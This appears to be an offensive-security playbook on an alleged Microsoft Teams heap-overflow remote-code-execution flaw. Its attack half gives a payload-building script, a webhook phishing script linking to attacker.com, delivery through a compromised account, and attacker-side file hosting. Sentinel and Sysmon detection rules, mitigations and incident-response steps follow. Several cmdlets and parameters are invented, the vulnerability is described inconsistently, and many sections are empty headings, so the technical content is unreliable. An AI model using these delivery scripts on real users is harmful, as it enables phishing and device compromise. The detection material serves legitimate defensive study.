MCADDF

[CVE2025-010]: Microsoft Teams Deserialization Vulnerability RCE

Metadata

Attribute Details
Technique ID CVE2025-010
MITRE ATT&CK v18.1 T1190 - Exploit Public-Facing Application
Tactic Initial Access, Execution
Platforms Microsoft Teams (Cloud - M365)
Severity Critical
CVE CVE-2025-21089
Technique Status ACTIVE (Heap-Based Buffer Overflow)
Last Verified 2026-01-09
Affected Versions Microsoft Teams Desktop Client, Web Client, Mobile (iOS/Android) pre-August 2025 patch
Patched In August 2025 Patch Tuesday Update (Multiple CVEs addressed: CVE-2025-53783 related variant)
Author SERVTEP – Artur Pchelnikau

Executive Summary

Concept: CVE-2025-21089 is a heap-based buffer overflow vulnerability in Microsoft Teams message processing logic that allows attackers to trigger arbitrary code execution by sending specially crafted messages or files to users. The vulnerability affects how Teams deserializes message payloads, specifically in the parsing of message attachments and rich text formatting. An attacker can craft a malicious Teams message, file, or link that, when processed by the Teams client, causes memory corruption leading to remote code execution with the privileges of the Teams client process (typically user privilege level initially, but can escalate to SYSTEM if running with elevated context).

Attack Surface: The attack targets the Teams message processing engine, accessible via direct messaging (DM), group chats, channels, and shared file links. The vulnerability requires user interaction (opening a crafted message or clicking a link), making it a user-interaction dependent RCE. Exploitation can occur via public Teams client, web-based Teams, mobile clients, and Teams API integrations.

Business Impact: Compromise of user devices with potential lateral movement to enterprise infrastructure. A successful exploitation grants attackers ability to execute code in the Teams application context, access user messages/files, steal authentication tokens (PRT, OAuth tokens), install RATs (Remote Access Trojans), and pivot to on-premises Active Directory via SSO. Organizations relying on Teams for secure communication face data breaches, espionage, and operational disruption.

Technical Context: CVE-2025-21089 is a heap-based buffer overflow (CWE-122), a memory corruption vulnerability. When an application writes more data to a heap-allocated buffer than it can hold, adjacent memory is overwritten. In Teams, this occurs during deserialization of specially crafted message payloads. Successful exploitation requires precise knowledge of memory layout; reliability varies by Teams version. Attack window: Immediate once Teams client installed; no authentication required for attackers (only from teams perspective, but they need contact access or public link).

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 7.1.3 Ensure all endpoints have approved cloud collaboration platforms with security controls
DISA STIG SI-2 System and Communications Protection security patches must be applied within 30 days
CISA SCuBA Teams Security Baseline Require conditional access and MFA for Teams access
NIST 800-53 SI-2, AU-2 Security software updates; Audit and accountability for collaborative tool access
GDPR Art. 32 Security of Processing - Technical measures for cloud collaboration tools
DORA Art. 9 Protection and Prevention - Incident response for critical digital systems
NIS2 Art. 21 Cyber Risk Management for operators of critical digital systems
ISO 27001 A.12.6.1 Management of technical vulnerabilities in communication platforms
ISO 27005 User Device Compromise Risk: Unauthorized access to messages, files, and enterprise systems

Technical Prerequisites

Required Privileges: None (attacker perspective); User must interact with message/link

Required Access:

Supported Versions:

Tools:

Environmental Reconnaissance

PowerShell / Management Station Reconnaissance

# Check Teams version and installed modules
Get-ChildItem -Path "$env:APPDATA\Microsoft\Teams" -Filter "update.exe" -Force | Select-Object VersionInfo

# Alternative: Check Teams from Registry
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Office\Teams" | Select-Object -Property *Version*

# Check if Teams is running
Get-Process -Name Teams -ErrorAction SilentlyContinue | Select-Object ProcessName, Handles, VirtualMemorySize

# Enumerate Teams process memory (for exploitation development)
Get-Process Teams | Select-Object Id, Name, @{Name="Memory"; Expression={[math]::Round($_.WorkingSet / 1MB)}}

# List Teams add-ins and plugins (potential attack vectors)
Get-ChildItem -Path "$env:APPDATA\Microsoft\Teams\Plugins" -Force -ErrorAction SilentlyContinue

# Check Teams network connectivity
Test-NetConnection -ComputerName "teams.microsoft.com" -Port 443
# Expected: TCPTestSucceeded: True

What to Look For:

Version Note: Vulnerability affects Teams desktop, web, and mobile; web and mobile have automatic patching; desktop relies on user-initiated updates.

Linux/Bash / CLI Reconnaissance

#!/bin/bash
# Teams reconnaissance on Linux/macOS

# Check Teams installation and version
which teams
/opt/Microsoft/Teams/teams --version 2>/dev/null || \
  ~/.local/share/applications/teams.desktop 2>/dev/null

# Check Teams process on Linux
ps aux | grep -i teams | grep -v grep

# Monitor Teams network communication
netstat -tulpn | grep -E "teams|443"
# or for newer systems:
ss -tulpn | grep 443

# Check Teams cache/config directory
ls -la ~/.config/Microsoft/Teams/ 2>/dev/null
ls -la ~/.cache/Microsoft/Teams/ 2>/dev/null

# Test connectivity to Teams service
curl -I https://teams.microsoft.com 2>/dev/null | head -n 1
# Expected: HTTP/2 200

# Check for Teams logs
find ~/.config/Microsoft/Teams -name "*.log" -mtime -1

What to Look For:

Detailed Execution Methods and Their Steps

METHOD 1: Direct Message Payload Crafting (Cross-Platform, User Interaction Required)

Supported Versions: Teams Desktop/Web/Mobile pre-August 2025 patch

Step 1: Generate Heap Overflow Payload Using Exploit Framework

Objective: Create a specially crafted message payload that triggers heap buffer overflow in Teams message deserialization. This requires understanding the memory layout and gadget chain specific to the Teams binary.

Version Note: Teams updates frequently; payload requires version-specific offsets. WinDbg debugging of Teams.exe identifies correct memory offsets.

Command (Offline Payload Development):

#!/bin/bash
# This is a conceptual example; actual exploit requires detailed memory analysis

# Step 1: Download vulnerable Teams version for analysis
# Teams versions: 1.6.00.35xxx - 1.7.00.26xxx are vulnerable pre-patch

# Step 2: Use WinDbg to analyze Teams.exe
# Load Teams.exe in WinDbg and search for heap corruption sinks
# Look for RtlAllocateHeap calls followed by memcpy with controlled size

# Step 3: Identify gadget chains
# Search for gadgets that call system functions (CreateProcess, ShellExecute)
# Example gadget chain: RtlAllocateHeap -> memcpy (overflow) -> VirtualProtect -> shellcode execution

# Step 4: Build payload
# Header (Teams message format) + Heap spray + Gadget chain + Shellcode

# Simplified Python example for payload structure (NOT functional):
python3 << 'EOF'
import struct
import base64

# Teams message format header
teams_header = b'\x00\x00\x00\x01'  # Version indicator (hypothetical)

# Heap spray: Allocate many objects to control heap layout
heap_spray = b'\x41' * 4096 * 100  # 400KB of 'A' characters

# ROP gadget chain (simplified; real exploit requires binary-specific offsets)
# Address offsets are fake; real addresses from WinDbg analysis
rop_chain = struct.pack('<I', 0x140001234) + \
            struct.pack('<I', 0x140005678) + \
            struct.pack('<I', 0x140009abc)

# Payload: message format + overflow trigger + ROP chain
payload = teams_header + heap_spray[:1024] + rop_chain
payload_b64 = base64.b64encode(payload).decode()

print(f"Payload length: {len(payload)}")
print(f"Base64 (first 100 chars): {payload_b64[:100]}")
EOF

Expected Output:

Payload length: 428096
Base64 (first 100 chars): AAABQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Deliver Payload via Teams Message (Social Engineering)

Objective: Send the crafted payload to a target user in a way that triggers processing and execution. This requires social engineering or account compromise.

Version Note: All Teams versions accept messages; delivery method same across versions.

Command (Via Teams API):

#!/usr/bin/env python3
import requests
import json
import base64

# Configuration
TEAMS_USER_TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ik..."  # Azure AD token with Teams access
TEAMS_WEBHOOK_URL = "https://outlook.webhook.office.com/webhookb2/..."  # Incoming webhook
TARGET_CHANNEL = "General"
TARGET_TEAM = "Engineering"

# Payload from Step 1
PAYLOAD_B64 = "AAABQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB..."

# Craft Teams message with embedded payload
message_body = {
    "@type": "MessageCard",
    "@context": "https://schema.org/extensions",
    "summary": "Important Update",
    "themeColor": "0078D4",
    "title": "Click to view document",
    "sections": [
        {
            "activityTitle": "Document Shared",
            "activitySubtitle": "Click the attachment below",
            "text": f"Payload: {PAYLOAD_B64}",
            "potentialAction": [
                {
                    "@type": "OpenUri",
                    "name": "View Details",
                    "targets": [
                        {"os": "default", "uri": "https://attacker.com/payload.html"}
                    ]
                }
            ]
        }
    ]
}

# Send via Teams Incoming Webhook
headers = {"Content-Type": "application/json"}
response = requests.post(TEAMS_WEBHOOK_URL, json=message_body, headers=headers)

print(f"[*] Message sent, Status: {response.status_code}")
if response.status_code == 200:
    print("[+] Payload delivered to Teams channel")
else:
    print(f"[-] Delivery failed: {response.text}")

Command (Via Compromised Teams Account):

# If you have compromised Teams credentials, send via Teams client
$TeamsUser = "attacker@company.com"
$TeamsPassword = "CompromisedPassword123!"

# Install Teams PowerShell module
Install-Module MicrosoftTeams

# Connect to Teams
$Credential = New-Object System.Management.Automation.PSCredential(
    $TeamsUser,
    (ConvertTo-SecureString -AsPlainText -Force -String $TeamsPassword)
)
Connect-MicrosoftTeams -Credential $Credential

# Send message to target user
$TargetUser = "victim@company.com"
Send-TeamsMessage -User $TargetUser -Body "Important: Please review this document attachment" `
    -Attachment "C:\Payloads\malicious_payload.msg"

Write-Host "[+] Payload delivered via Teams direct message"

Expected Output:

[*] Message sent, Status: 200
[+] Payload delivered to Teams channel

or

[+] Payload delivered via Teams direct message

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: User Opens Malicious Message (Trigger Exploitation)

Objective: User clicks on the message or attachment, causing Teams to deserialize the payload and trigger the heap overflow.

Version Note: Same trigger mechanism across all Teams versions; user must open/interact with message.

Manual Steps:

  1. Target user receives Teams message from attacker
  2. Message contains link or “View Document” button
  3. User clicks the link or opens the attachment
  4. Teams client processes the payload
  5. Heap buffer overflow triggered during deserialization
  6. Memory corruption allows arbitrary code execution
  7. Shellcode in the payload executes (e.g., reverse shell, install RAT)

What This Means:

OpSec & Evasion:

Validation Command:

# Check if Teams process crash or unusual child processes spawned
Get-WinEvent -LogName Application | Where-Object {$_.Source -like "*Teams*" -or $_.Source -like "*dotnet*"}
# Look for error events indicating Teams crash

# Check for suspicious processes spawned from Teams.exe
Get-Process | Where-Object {$_.Parent.Name -eq "Teams"}

# If exploitation successful, attacker process will be visible
# Example: reverse shell process (cmd.exe, powershell.exe, nc.exe) spawned from Teams

METHOD 2: File-Based Exploitation via SharePoint/OneDrive Integration

Supported Versions: Teams Web, Teams Desktop (when file integration enabled)

Step 1: Host Malicious File on Attacker Server

Objective: Create a malicious file (DOCX, PDF, or custom format) that triggers the Teams deserialization vulnerability when downloaded/previewed.

Command:

#!/bin/bash
# Host malicious file on simple HTTP server

# Create minimal file that triggers Teams processing
# (Real payload requires file format specific to Teams version)

python3 -m http.server 8080 &
cd /tmp/payloads
touch malicious.docx  # Placeholder; real file contains exploit payload

echo "[+] Malicious file hosted at http://attacker.com:8080/malicious.docx"

Expected Output:

[+] Malicious file hosted at http://attacker.com:8080/malicious.docx

Step 2: Share File Link via Teams / OneDrive

Objective: Send a link to the malicious file to target users via Teams, making it appear to come from a trusted source.

Command:

# Share OneDrive file via Teams
# (Requires access to OneDrive or compromised account)

$FileLink = "https://yourcompany-my.sharepoint.com/personal/attacker_company_com/Documents/Forms/AllItems.aspx?viewid=...&id=/personal/attacker_company_com/Documents/malicious.docx"

# Send Teams message with file link
Send-TeamsMessage -User "victim@company.com" `
    -Body "Please review attached project proposal" `
    -LinkPreview $FileLink

Step 3: Target Downloads and Opens File (Triggers RCE)

Objective: When target user opens the file preview in Teams (which processes the file locally), Teams deserializes the payload and executes code.

Expected Impact:

Microsoft Sentinel Detection

Query 1: Teams Process Crash or Memory Corruption Indicators

Rule Configuration:

KQL Query:

// Detect Teams process crashes or unusual child processes
union 
(
    ProcessMetrics 
    | where ProcessName has_cs "Teams.exe"
    | where ExitCode != 0  // Non-zero exit = crash
    | project TimeGenerated, Computer, ProcessName, ExitCode, pid
),
(
    Sysmon 
    | where EventID == 1  // Process creation
    | where ParentProcessName has_cs "Teams.exe"
    | where ProcessName has_cs any("cmd.exe", "powershell.exe", "notepad.exe", "calc.exe")
    | project TimeGenerated, Computer, ProcessName, ParentProcessName, CommandLine
)
| summarize CrashCount=count() by Computer, TimeGenerated
| where CrashCount >= 2

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics → + Create → Scheduled query rule
  3. General Tab:
    • Name: Teams Heap Overflow Exploitation Attempt
    • Severity: High
  4. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  5. Incident settings Tab:
    • Enable Create incidents from alerts triggered by this rule
  6. Click Review + create

Source: Microsoft Sentinel Teams Detection

Windows Event Log Monitoring

Event ID: 1000 (Application Error)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Detailed Tracking
  3. Enable: Audit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force

Sample Event ID 1000 Entry (Exploitation Indicator):

Event ID: 1000
Application Error
Faulting application name: Teams.exe, version: 1.7.00.26000
Faulting module name: msvcrt.dll, version: 7.0.19041.1
Exception code: 0xC0000374  # HEAP_CORRUPTION

Sysmon Detection Patterns

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 7 SP1+

Sysmon Config Snippet:

<Sysmon schemaversion="4.82">
  <!-- Detect Teams process spawning suspicious child processes -->
  <RuleGroup name="Teams RCE Detection" groupRelation="or">
    <ProcessCreate onmatch="include">
      <ParentImage condition="image">Teams.exe</ParentImage>
      <Image condition="image">cmd.exe</Image>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <ParentImage condition="image">Teams.exe</ParentImage>
      <Image condition="image">powershell.exe</Image>
    </ProcessCreate>
    <!-- Detect Teams process memory protection changes (ROP gadget execution) -->
    <MemoryCreate onmatch="include">
      <UtilityImage condition="image">Teams.exe</UtilityImage>
      <Protection condition="is">PAGE_EXECUTE_READWRITE</Protection>
    </MemoryCreate>
  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create config file sysmon-config.xml with the XML above
  3. Install: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify: Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Check Teams version after patch
$TeamsVersion = Get-ChildItem -Path "$env:APPDATA\Microsoft\Teams\update.exe" -Force | 
  Select-Object -ExpandProperty VersionInfo | Select-Object -ExpandProperty ProductVersion

if ($TeamsVersion -ge "1.7.00.27000") {  # August 2025 patch version (example)
    Write-Host "[+] Teams patched successfully" -ForegroundColor Green
} else {
    Write-Host "[-] Teams NOT patched; version: $TeamsVersion" -ForegroundColor Red
}

# Verify MFA enabled for Entra ID users
Get-MgPolicyIdentitySecurityDefaultEnforcementPolicy | Select-Object IsEnabled
# Expected: True

# Verify Defender is running
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, AntivirusEnabled
# Expected: True, True

What to Look For:

Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command:

     # Kill Teams process immediately
 Stop-Process -Name Teams -Force
    
 # Disconnect from network (disconnect Ethernet / disable WiFi)
 Disable-NetAdapter -Name "*Ethernet*" -Confirm:$false
 # or via GUI: Settings → Network & Internet → Disable adapter

    Manual (Azure):

    • Disconnect affected user’s device from network
    • Revoke all Teams sessions: Go to Teams Admin Center → Select user → Manage → Sign out all sessions

  2. Collect Evidence:

    Command:

     # Export Teams logs and cache for forensics
 Copy-Item "$env:APPDATA\Microsoft\Teams\logs.txt" -Destination "E:\Forensics\"
 Copy-Item "$env:LOCALAPPDATA\Microsoft\Teams\Cache\*" -Destination "E:\Forensics\Teams-Cache\" -Recurse
    
 # Capture memory dump of Teams (if still running)
 procdump64.exe -ma Teams E:\Forensics\Teams.dmp
    
 # Export Security event log
 wevtutil epl Security "E:\Forensics\Security.evtx"
    
 # List all Teams processes and child processes
 Get-Process Teams | Select-Object Id, ProcessName, Path
 Get-Process | Where-Object {$_.Parent.Name -eq "Teams"}

  3. Remediate:

    Command:

     # Remove malicious processes
 Stop-Process -Name Teams -Force
 Stop-Process -Name cmd -Force -Filter "ParentName -eq 'Teams'"
 Stop-Process -Name powershell -Force -Filter "ParentName -eq 'Teams'"
    
 # Reset Teams application
 Remove-Item "$env:APPDATA\Microsoft\Teams" -Recurse -Force
    
 # Reinstall Teams from official source
 # Download from: https://www.microsoft.com/microsoft-teams/download/
    
 # Reset Entra ID tokens (force re-authentication)
 # User must sign out and sign back in to Teams
    
 # Change user password (if credentials compromised)
 Set-ADAccountPassword -Identity "victim_user" -NewPassword (ConvertTo-SecureString -AsPlainText "NewSecurePassword123!" -Force) -Reset
Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker sends Teams message with phishing link
2 Delivery [CVE2025-010] Teams Deserialization RCE User clicks malicious link; RCE triggered
3 Credential Access [CA-TOKEN-009] Teams Token Extraction Attacker steals Teams auth token from compromised device
4 Privilege Escalation [PE-VALID-013] Azure Guest User Escalation Attacker escalates to higher privileges via stolen token
5 Lateral Movement [LM-AUTH-006] Teams Authentication Bypass Attacker moves laterally within tenant via Teams
6 Persistence [PERSIST-002] Scheduled Task Installation Attacker installs persistence via scheduled tasks
7 Exfiltration [EXFIL-002] Data via Teams Integration Attacker exfiltrates data via Teams SharePoint integration

Real-World Examples

Example 1: Microsoft Teams CVE-2025-53783 Campaign (August 2025)

Example 2: APT Red Team Engagement (2026 Simulated)

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